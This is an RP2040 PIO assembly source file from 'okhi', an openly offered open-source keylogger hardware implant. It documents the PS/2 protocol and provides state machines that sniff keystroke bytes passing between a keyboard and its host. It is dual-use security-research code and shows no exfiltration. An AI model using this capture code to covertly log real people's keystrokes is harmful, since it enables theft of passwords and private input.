; MIT License - okhi - Open Keylogger Hardware Implant ; --------------------------------------------------------------------------- ; Copyright (c) [2024] by David Reguera Garcia aka Dreg ; https://github.com/therealdreg/okhi ; https://www.rootkit.es ; X @therealdreg ; dreg@rootkit.es ; --------------------------------------------------------------------------- ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; --------------------------------------------------------------------------- ; WARNING: BULLSHIT CODE X-) ; --------------------------------------------------------------------------- ; Dreg's note: I have tried to document everything as best as possible and make the code and project ; as accessible as possible for beginners. There may be errors (I am a lazy bastard using COPILOT) ; if you find any, please make a PR ; I'm still a novice with the Pico SDK & RP2040, so please bear with me if there are unnecessary things ;-) ; I want to avoid mental uncertainty when solving problems and knowing where things are, ; so ALL the programs in PIO0/1 are in the same place and order in each execution. ; ===================================================================================== ; PS/2 PROTOCOL REFERENCE ; Ref: http://www.Computer-Engineering.org (Author: Adam Chapweske) ; ===================================================================================== ; The Data and Clock lines are both open-collector with a pull-up to +5 V, so either side ; can only ever pull a line LOW; releasing a line lets the pull-up float it back HIGH. ; ; Direction of travel and the edge on which each side samples: ; - Device -> Host: the host samples DATA on the FALLING edge of CLOCK (i.e. while CLOCK is LOW). ; - Host -> Device: the device samples DATA on the RISING edge of CLOCK (i.e. while CLOCK is HIGH). ; ; Clock timing: ; - CLOCK frequency must sit in the 10 - 16.7 kHz range, so CLOCK is HIGH for 30 - 50 us ; and LOW for 30 - 50 us. To read a bit safely you sample in the MIDDLE of its cell, ; i.e. roughly 15 - 25 us after the relevant clock transition. ; - The keyboard/mouse ALWAYS generates the clock, but the host ALWAYS has ultimate control ; over the bus and may inhibit it at any moment. ; ; The four bus states (decoded from the two line levels): ; - DATA = high, CLOCK = high : Idle. ; - DATA = high, CLOCK = low : Communication Inhibited (host is holding the bus). ; - DATA = low, CLOCK = high : Host Request-to-Send (host wants to transmit). ; ; Frame format (one byte per frame, 11 - 12 bits total, sent LSB first): ; - 1 start bit (always 0) ; - 8 data bits (least significant bit first) ; - 1 parity bit (odd parity) ; - 1 stop bit (always 1) ; - 1 ACK bit (host-to-device frames only; the DEVICE drives this one) ; ; Extra timing rules: ; - CLOCK frequency 10 - 16.7 kHz. From a rising clock edge to a DATA transition must be ; at least 5 us. From a DATA transition to the falling clock edge must be at least 5 us ; and no more than 25 us. ; - The host may inhibit communication at any time by pulling CLOCK low for at least 100 us. ; - If a transfer is inhibited before the 11th clock pulse, the device must abort and be ready ; to retransmit the whole current "chunk" (make code, break code, device ID, mouse packet, ...) ; once the host releases CLOCK. For example, a keyboard interrupted while sending the second ; byte of a two-byte break code must resend BOTH bytes, not only the interrupted one. ; - If the host pulls CLOCK low before the first high-to-low clock transition, or after the ; falling edge of the last clock pulse, no retransmission is required. Any freshly generated ; data must instead be buffered until the host releases CLOCK. Keyboards keep a 16-byte buffer ; for this; once it is full, further keystrokes are dropped until space frees up. ; ; How the host starts a host-to-device transfer (the device must poll for this at <= 10 ms intervals): ; 1) Bring CLOCK low for at least 100 us (inhibit). ; 2) Bring DATA low (this becomes the start bit) => "Request-to-Send". ; 3) Release CLOCK. ; 4) Wait for the device to bring CLOCK low. ; 5) Set/reset DATA to present the first data bit. ; 6) Wait for the device to bring CLOCK high. ; 7) Wait for the device to bring CLOCK low. ; 8) Repeat steps 5 - 7 for the remaining seven data bits and the parity bit. ; 9) Release DATA. ; 10) Wait for the device to bring DATA low (this is the device's ACK). ; 11) Wait for the device to bring CLOCK low. ; 12) Wait for the device to release both DATA and CLOCK (return to idle). ; ------------------------------------------------------------------------------------- ; WHY THE ISR IS CLEARED SO OFTEN, AND WHERE THE CAPTURED BYTE ENDS UP ; ------------------------------------------------------------------------------------- ; WARNING: Do NOT remove lines that look unnecessary (such as 'mov isr, null'). ; They cannot be optimized out. The main core can rewrite a state machine's PC at ANY ; moment (to abort a bad capture), so the ISR must never be allowed to keep stale/garbage ; bits from a previous, half-finished frame. ; ; PS/2 sends data LSB first, so each bit is sampled and right-shifted into the ISR. That ; keeps the bit order correct and leaves the reconstructed 8-bit value sitting in the MOST ; significant byte of the 32-bit ISR word (bits [31:24]). There is no free way to slide it ; down into bits [7:0], so the main core reads that top byte directly. In C: ; io_rw_8* rxfifo_shift = (io_rw_8*)&pio->rxf[sm] + 3; ; where the "+3" selects the top byte of the 32-bit FIFO word. ; ; Alternatively an 'IN NULL, 24' would shift in 24 zero bits to align the byte into [7:0] ; before pushing, but that costs a PIO instruction, and instruction slots are precious here, ; so this code reads the top byte on the C side instead. (A DMA channel could also harvest ; that uppermost byte automatically.) ; ===================================================================================== ; PIO0 AREA ; ===================================================================================== .program inhibited_signal ; PIO0_0, must run at 1 MHz (each PIO cycle ~= 1 microsecond). ; ; Purpose: watch the PS/2 bus for a HOST-INHIBIT condition (CLOCK held LOW while DATA stays ; HIGH) lasting ~90 us, then tell the main core whether the host followed it with a ; Request-to-Send (DATA pulled low) or not. ; ; The protocol threshold for a real inhibit is ~100 us. We use ~90 us on purpose: some ; PS/2-to-USB adapters inhibit for slightly less than the textbook time, and ~90 us is a ; safe lower bound that still never fires on ordinary clock-low half-cycles (those last at ; most ~50 us). ; ; IRQ meaning (handled by pio0_irq in ps2.c): ; IRQ0 -> inhibited communication detected. ; IRQ1 -> inhibit ended WITHOUT a Request-to-Send (host released the bus, no data coming). ; ; State-machine configuration (set up in ps2.c): ; FIFO_JOIN_RX : RX FIFO 8 words deep, TX FIFO disabled. ; IN PIN 0 : DAT ; IN PIN 1 : CLOCK ; JMP PIN : CLOCK (so 'jmp pin' == "jump if CLOCK is HIGH") ; Shift : ISR shifts right, autopush = false, threshold = 0. .wrap_target restart: mov isr, null ; 00 Clear the ISR so no leftover bit can pollute the DATA sample below wait_for_inhibited: set x, 30 ; 01 Load the timeout counter. The loop below is 3 cycles/iter @ 1 MHz, ; and runs 31 times (x = 30..0), so ~93 us ~= 90 us of continuous CLOCK-low check_inhibited: jmp pin wait_for_inhibited ; 02 CLOCK HIGH? Then the bus is not inhibited -> reload the counter and retry jmp pin wait_for_inhibited ; 03 Sample CLOCK a second time to reject a sub-microsecond glitch on the line jmp x-- check_inhibited ; 04 CLOCK still LOW: decrement X and keep counting until the window elapses irq nowait 0 ; 05 Window survived with CLOCK low the whole time => raise IRQ0 (inhibit detected) wait 1 pin 1 ; 06 Block until the host RELEASES CLOCK (CLOCK goes HIGH again) in pins, 1 ; 07 Sample DATA (1 bit) right after the release to see what the host intends mov y, isr ; 08 Copy that sampled bit out of the ISR into Y so we can test it jmp !y, restart ; 09 DATA == 0 => host is pulling DATA low => valid Request-to-Send => just restart irq nowait 1 ; 10 DATA == 1 => host released without an RTS => raise IRQ1 ("no data coming") .wrap ; Loop back to 'restart' and watch for the next inhibit .program device_to_host ; PIO0_1, must run at ~133.6 kHz (7.5 us per PIO cycle). ; ; The divider is chosen so there are at least 8 PIO cycles per PS/2 clock cycle, which gives ; the 'wait' instructions plenty of resolution. On device-to-host frames the data is valid ; while CLOCK is LOW, so every bit is sampled after a falling edge. ; ; Purpose: capture one byte sent by the keyboard/mouse (the device) to the host. The program ; waits for an external "go" signal, skips the start bit, reads the 8 data bits, and pushes ; them; the parity and stop bits are stepped over but not stored. ; ; The external "go" signal is the AUX_D2H_JMP_GPIO pin driven by the main core, NOT the PS/2 ; clock. Holding that pin HIGH parks this program at line 00; driving it LOW lets a capture ; begin. That is how the main core arms and disarms device-to-host sniffing (see ; start/stop_device_to_host_sm in ps2.c). ; ; Why the host may need to reset this state machine mid-capture: ; - Some PS/2-to-USB adapters emit glitches and odd waveforms between valid packets. ; - If a capture is interrupted (INHIBIT, RTS or IDLE) or a glitch slips in, the main core ; can rewrite this SM's PC BEFORE the push executes, so corrupt data never reaches the FIFO. ; That is exactly why the ISR is cleared at the top: a reset can arrive at any instant. ; ; Important: ; - Do NOT move the 'push' or switch to autopush unless you fully understand the side effects; ; its current position has been validated across many real adapters. ; - The apparently idle waits/delays are deliberate. They give the main core a window to spot ; an anomaly and reset this SM before a wrong byte is pushed. ; - The 'jmp pin' at line 10 is the abort hook the main core uses to discard malformed data. ; ; State-machine configuration (set up in ps2.c): ; FIFO_JOIN_RX : RX FIFO 8 words deep, TX FIFO disabled. ; IN PIN 0 : DAT ; IN PIN 1 : CLOCK ; JMP PIN : AUX_D2H_JMP_GPIO (external arm/abort signal, HIGH = wait/abort, LOW = capture) ; Shift : ISR shifts right, autopush = false, threshold = 0. .wrap_target wait_for_start_signal: jmp pin wait_for_start_signal ; 00 Park here while the arm pin (AUX_D2H_JMP_GPIO) is HIGH; fall through when it goes LOW mov isr, null ; 01 Clear any residual bits before this fresh capture begins skip_start_bit: wait 0 pin 1 ; 02 Wait for CLOCK LOW -> the start bit is being clocked out wait 1 pin 1 ; 03 Wait for CLOCK HIGH -> start bit done, we have now skipped it proceed_to_capture: set x, 7 ; 04 Load bit counter for 8 data bits (x = 7..0 => 8 iterations) capture_8_bits_loop: wait 0 pin 1 [1] ; 05 Wait for the falling edge, then delay 1 cycle to settle in the LOW cell in pins, 1 ; 06 Sample one DATA bit into the ISR (LSB first, shifted right) wait 1 pin 1 [1] ; 07 Wait for the rising edge (end of this bit cell), delay 1 to debounce jmp x-- capture_8_bits_loop ; 08 Repeat until all 8 data bits are in skip_parity_and_stop_bits: wait 0 pin 1 [1] ; 09 Falling edge of the PARITY bit (we do not store parity) jmp pin wait_for_start_signal [1] ; 10 ABORT HOOK: if the arm pin went HIGH, the host is telling us to ; drop this frame -> jump back and push nothing. Otherwise continue push noblock ; 11 Commit the 8 captured bits to the RX FIFO (noblock: never stall the SM) wait 1 pin 1 ; 12 Rising edge of the parity bit wait 0 pin 1 [1] ; 13 Falling edge of the STOP bit wait 1 pin 1 ; 14 Rising edge of the stop bit -> frame complete .wrap ; Loop back to 'wait_for_start_signal' for the next byte ; ===================================================================================== ; PIO1 AREA ; ===================================================================================== .program host_to_device ; PIO1_0, must run at ~133.6 kHz (7.5 us per PIO cycle). ; ; Same >= 8-PIO-cycles-per-clock reasoning as device_to_host. On host-to-device frames the ; host changes DATA while CLOCK is LOW and the device samples on the RISING edge, so here we ; sample every data bit while CLOCK is HIGH. (The final ACK bit is the exception; see below.) ; ; Purpose: capture one byte the host sends to the keyboard/mouse. A host transfer always opens ; with an inhibit (CLOCK held low), so this program first waits for that inhibit, then skips the ; start bit, reads 8 data bits, pushes them, and steps over parity, stop and ACK. ; ; The inhibit gate uses ~90 us for the same adapter-compatibility reason as inhibited_signal: ; the textbook value is ~100 us, but ~90 us tolerates adapters with slightly short timing while ; staying above any normal clock-low half-cycle. ; ; Why the host may need to reset this state machine, and why the "useless" waits exist: identical ; to the device_to_host notes above (glitchy adapters; the main core can reset before the push to ; keep garbage out of the FIFO; the ISR is cleared up front because a reset can land at any time). ; ; Important: ; - Do NOT move the 'push' or enable autopush without understanding the consequences. ; ; State-machine configuration (set up in ps2.c): ; FIFO_JOIN_RX : RX FIFO 8 words deep, TX FIFO disabled. ; IN PIN 0 : DAT ; IN PIN 1 : CLOCK ; JMP PIN : CLOCK (so 'jmp pin' == "jump if CLOCK is HIGH") ; Shift : ISR shifts right, autopush = false, threshold = 0. .wrap_target mov isr, null ; 00 Clear the ISR of any leftover bits from a previous/aborted frame wait_for_inhibition: set x, 5 ; 01 Timeout counter. The loop below is 2 cycles/iter and runs 6 times ; (x = 5..0) => 12 cycles @ 7.5 us ~= 90 us of continuous CLOCK-low check_inhibition_loop: jmp pin wait_for_inhibition ; 02 CLOCK HIGH? Bus not inhibited yet -> reload the counter and keep waiting jmp x--, check_inhibition_loop ; 03 CLOCK LOW: count down until the ~90 us inhibit window is confirmed skip_start_bit: wait 1 pin 1 ; 04 Wait for CLOCK HIGH -> the start bit is being clocked wait 0 pin 1 ; 05 Wait for CLOCK LOW -> start bit skipped proceed_to_capture: set x, 7 ; 06 Load bit counter for 8 data bits (x = 7..0 => 8 iterations) capture_8_bits_loop: wait 1 pin 1 [1] ; 07 Wait for the RISING edge, delay 1 cycle to settle in the HIGH cell in pins, 1 ; 08 Sample one DATA bit into the ISR (LSB first, shifted right) wait 0 pin 1 [1] ; 09 Wait for the falling edge (end of this bit cell), delay 1 to debounce jmp x-- capture_8_bits_loop ; 10 Repeat until all 8 data bits are in skip_parity_and_stop_bits: wait 1 pin 1 [1] ; 11 Rising edge of the PARITY bit (not stored) push noblock ; 12 Commit the 8 captured bits to the RX FIFO (noblock: never stall the SM) wait 0 pin 1 ; 13 Falling edge after the parity bit wait 1 pin 1 [1] ; 14 Rising edge of the STOP bit skip_ack_bit: wait 0 pin 1 [1] ; 15 Falling edge where the device drives its ACK bit -> we step over it ; NOTE on the ACK bit: ; The first 11 bits are driven by the HOST and change while CLOCK is LOW, so we sample ; them on the rising edge (CLOCK HIGH). The 12th bit, ACK, is driven by the DEVICE and ; changes while CLOCK is HIGH, so it would be sampled on the falling edge (CLOCK LOW). ; This program does not need the ACK, so it is skipped. To capture it, replace lines ; 14-15 with something like: ; wait 0 pin 1 [1] ; in pins, 1 .wrap ; Loop back to the top for the next byte .program idle_signal ; PIO1_1, must run at 1 MHz (each PIO cycle ~= 1 microsecond). ; ; Purpose: detect the PS/2 IDLE state (both CLOCK and DATA held HIGH) lasting long enough to be ; certain the bus is quiet, then raise IRQ0 so the main core can (re)arm the capture SMs. ; ; The protocol treats ~100 us of both-lines-high as reliably idle. The confirmation window here ; is ~124 us: the check loop below is 4 cycles/iteration @ 1 MHz and runs 31 times (x = 30..0), ; i.e. 31 * 4 = ~124 us. That is comfortably past the ~100 us threshold, so a stray short clock ; pulse or a mid-frame gap can never be mistaken for idle. ; (Note: the sibling detectors inhibited_signal/host_to_device reach ~90 us with a 3- and ; 2-instruction loop respectively; this one has an extra instruction per pass, hence ~124 us.) ; ; IRQ meaning (handled by pio1_irq in ps2.c): ; IRQ0 -> IDLE detected. ; ; State-machine configuration (set up in ps2.c): ; FIFO_JOIN_RX : RX FIFO 8 words deep, TX FIFO disabled. ; IN PIN 0 : DAT ; IN PIN 1 : CLOCK ; JMP PIN : CLOCK .wrap_target wait_for_idle: set x, 30 ; 00 Load the idle-window counter (see the ~124 us math in the header) check_idle_loop: mov osr, !pins ; 01 Read DAT+CLOCK and INVERT them into the OSR (both-high becomes both-zero) out y, 2 ; 02 Pull the low 2 inverted bits (DAT, CLOCK) out of the OSR into Y jmp !y, next_idle_check ; 03 Y == 0 means both lines were HIGH -> still possibly idle -> keep counting not_idle_detected: jmp wait_for_idle ; 04 Y != 0 means DAT or CLOCK was LOW -> not idle -> reload and start over next_idle_check: jmp x--, check_idle_loop ; 05 Decrement X and re-sample until the window elapses or a line drops LOW idle_detected: irq nowait 0 ; 06 Both lines stayed HIGH for the whole window => raise IRQ0 (idle) .wrap ; Loop back and watch for the next idle period ; ===================================================================================== ; AUXILIARY / EXPERIMENTAL PROGRAMS ; ; The programs below are helpers that are NOT loaded by the current ps2.c firmware. They ; exist for bring-up, bus debugging and for tackling the glitchy adapters documented in the ; developer notes: some PS/2-to-USB adapters emit an extra long CLOCK pulse during "idle", ; fast ~1.8 us low pulses, and wild ~8 us spikes on CLOCK before the real packet. These ; snippets are kept here as building blocks for measuring and rejecting such glitches. ; ===================================================================================== .program two_pin_mirror_reverse_inverter ; Should run at the highest practical frequency. ; ; Reads DAT (pin 0) and CLOCK (pin 1), then drives two output pins with the INVERTED levels in ; SWAPPED order: ; OUT PIN 0: inverted CLOCK ; OUT PIN 1: inverted DAT ; i.e. each level is flipped (1 -> 0, 0 -> 1) and the two pin positions are exchanged. ; ; IN PIN 0: DAT ; IN PIN 1: CLOCK ; OUT PIN 0: CLOCK (inverted) ; OUT PIN 1: DAT (inverted) ; Do NOT use autopush; configure this SM with the default Pico-SDK settings. .wrap_target in pins, 2 ; 00 Sample both input pins into the ISR mov y, ::isr ; 01 Copy the ISR into Y bit-REVERSED (the '::' operator), swapping the pin order mov pins, !y ; 02 Drive the output pins with the inverted, reversed value .wrap ; Restart .program two_pin_inverter ; Should run at the highest practical frequency. ; ; Reads DAT (pin 0) and CLOCK (pin 1) and drives them back out INVERTED, in the SAME order: ; OUT PIN 0: inverted DAT ; OUT PIN 1: inverted CLOCK ; ; IN PIN 0: DAT ; IN PIN 1: CLOCK ; OUT PIN 0: DAT (inverted) ; OUT PIN 1: CLOCK (inverted) .wrap_target mov pins, !pins ; 00 Sample both pins and drive them straight back out, inverted .wrap ; Restart .program two_pin_mirror ; Should run at the highest practical frequency. ; ; Reads DAT (pin 0) and CLOCK (pin 1) and copies them to the output pins unchanged, same order: ; OUT PIN 0: DAT ; OUT PIN 1: CLOCK ; ; IN PIN 0: DAT ; IN PIN 1: CLOCK ; OUT PIN 0: DAT ; OUT PIN 1: CLOCK .wrap_target mov pins, pins ; 00 Sample both pins and drive the identical levels straight back out .wrap ; Restart .program two_pin_reverse ; Should run at the highest practical frequency. ; ; Reads DAT (pin 0) and CLOCK (pin 1) and drives them out in SWAPPED order (levels unchanged): ; OUT PIN 0: CLOCK ; OUT PIN 1: DAT ; ; IN PIN 0: DAT ; IN PIN 1: CLOCK ; OUT PIN 0: CLOCK ; OUT PIN 1: DAT ; Do NOT use autopush; configure this SM with the default Pico-SDK settings. .wrap_target in pins, 2 ; 00 Sample both input pins into the ISR mov pins, ::isr ; 01 Drive the output pins with the ISR bit-REVERSED, swapping the pin order .wrap ; Restart .program glitch_det_fast_rise ; Must run at 8 MHz (each instruction takes 0.125 us). ; ; Detects a suspiciously SHORT clock-low pulse: it measures from a falling edge to the next ; rising edge and flags the pulse as a "glitch" if that rise happens within the ~8 us window. ; - The window is 64 instructions @ 8 MHz (64 * 0.125 us = 8 us). ; - It is built from 32 loop iterations of 2 instructions each (32 * 2 = 64). ; - If CLOCK returns HIGH before those 32 iterations run out, we treat the rise as a glitch. ; ; Normal clock (no glitch): ; ___ _________ ________ ; CLOCK: |________| |________| |________ ; ; With a short glitch: ; ___ __ _____ _________ ; CLOCK: |________| || |________| |________ ; ^ ; short glitch (~8 us) ; ; The counter X does double duty: it flags the glitch event to the host AND its remaining value ; encodes WHEN inside the window the rise happened (a coarse timestamp). At 8 MHz this is a ; low-resolution timer for very short pulses, but it is better than nothing. ; ; AUTOPUSH must be true, 32-bit threshold. ; IN PIN 0: CLOCK ; JMP PIN : CLOCK .wrap_target init_detection: set x, 31 ; 00 Preload X for 32 loop iterations (x = 31..0) wait 1 pin, 0 ; 01 First make sure CLOCK is HIGH (so we start from a known level, no false trigger) wait 0 pin, 0 ; 02 Then wait for CLOCK to go LOW -> this falling edge is our measurement start check_for_glitch: jmp pin, glitch_detected ; 03 CLOCK went HIGH again already? That early rise is the glitch -> record it jmp x--, check_for_glitch ; 04 Still LOW: count down and keep watching (up to 32 iterations) jmp init_detection ; 05 Window elapsed with no early rise -> normal pulse -> restart detection glitch_detected: in x, 32 ; 06 Shift the remaining count X into the ISR; autopush flushes it to the RX FIFO .wrap ; Restart .program glitch_det_fast_fall ; Must run at 8 MHz (each instruction takes 0.125 us). ; ; Same idea as glitch_det_fast_rise but for the opposite transition: it measures from a rising ; edge to the next falling edge and flags a "glitch" if CLOCK drops back LOW within the window. ; ; Normal clock (no glitch): ; ___ _________ ________ ; CLOCK: |________| |________| |________ ; ; With a short glitch: ; ___ _________ _________ ; CLOCK: |___||___| |________| |________ ; ^ ; short glitch (~8 us) ; ; As above, X flags the event and encodes a coarse timestamp of when the fall occurred. ; ; AUTOPUSH must be true, 32-bit threshold. ; IN PIN 0: CLOCK ; JMP PIN : CLOCK .wrap_target init_detection: set x, 31 ; 00 Preload X for 32 loop iterations (x = 31..0) wait 0 pin, 0 ; 01 First make sure CLOCK is LOW (known starting level, no false trigger) wait 1 pin, 0 ; 02 Then wait for CLOCK to go HIGH -> this rising edge is our measurement start check_for_glitch: jmp pin, no_glitch_detected ; 03 CLOCK still HIGH? No fall yet -> go count another iteration glitch_detected: in x, 32 ; 04 CLOCK fell early: shift remaining count X into the ISR (autopush -> RX FIFO) jmp init_detection ; 05 Restart detection no_glitch_detected: jmp x--, check_for_glitch ; 06 Still HIGH: count down and keep watching (up to 32 iterations) .wrap ; Restart .program rise_counter ; Must run at 125 MHz (each instruction takes 8 ns). ; ; Measures the time from a falling edge to the next rising edge on CLOCK by counting loop passes: ; 1) Seed the counter X to 0xFFFFFFFF. ; 2) Wait for CLOCK HIGH then LOW (i.e. a falling edge). ; 3) Loop: on a rising edge jump to capture; otherwise decrement X and keep looping. ; 4) On the rising edge, push X. Its distance from 0xFFFFFFFF tells you how long the low lasted. ; ; Time conversion: ; - At 125 MHz each instruction is 8 ns and the loop body is 2 instructions, so 16 ns/iteration. ; - Elapsed time = (0xFFFFFFFF - x) * 16 ns. ; - 16 ns resolution is coarse for the shortest pulses (some PS/2-USB adapters glitch even ; faster than 16 ns), but it is better than nothing. Overclocking to 250 MHz and setting the ; PIO clock divider to 1 halves this to 8 ns. ; ; TO-DO: run this SM in parallel and synchronized with the glitch-detection SM so the glitch ; event and its timestamp line up. ; ; AUTOPUSH must be true, 32-bit threshold. ; IN PIN 0: CLOCK ; JMP PIN : CLOCK .wrap_target initialize_counter: mov x, !null ; 00 X = 0xFFFFFFFF (maximum start value; we count DOWN from here) wait 1 pin, 0 ; 01 Wait for CLOCK HIGH (so the next step catches a real falling edge) wait 0 pin, 0 ; 02 Wait for CLOCK LOW -> falling edge; timing starts now count_loop: jmp pin, capture_time ; 03 Rising edge? Stop timing and go record the count jmp x--, count_loop ; 04 Still LOW: decrement X and keep counting the low period capture_time: in x, 32 ; 05 Shift X into the ISR; autopush flushes the elapsed count to the RX FIFO .wrap ; Restart .program fall_counter ; Must run at 125 MHz (each instruction takes 8 ns). ; ; Same as rise_counter but for the opposite transition: it times from a rising edge to the next ; falling edge. See rise_counter for the time-conversion math and resolution notes. ; ; TO-DO: run this SM in parallel and synchronized with the glitch-detection SM so the glitch ; event and its timestamp line up. ; ; AUTOPUSH must be true, 32-bit threshold. ; IN PIN 0: CLOCK ; JMP PIN : CLOCK .wrap_target initialize_counter: mov x, !null ; 00 X = 0xFFFFFFFF (maximum start value; we count DOWN from here) wait 0 pin, 0 ; 01 Wait for CLOCK LOW (so the next step catches a real rising edge) wait 1 pin, 0 ; 02 Wait for CLOCK HIGH -> rising edge; timing starts now count_loop: jmp pin, check_fall ; 03 CLOCK still HIGH -> go decrement and keep timing the high period jmp capture_time ; 04 CLOCK LOW (falling edge) -> stop timing and go record the count check_fall: jmp x--, count_loop ; 05 Decrement X and continue looping while CLOCK stays HIGH capture_time: in x, 32 ; 06 Shift X into the ISR; autopush flushes the elapsed count to the RX FIFO .wrap ; Restart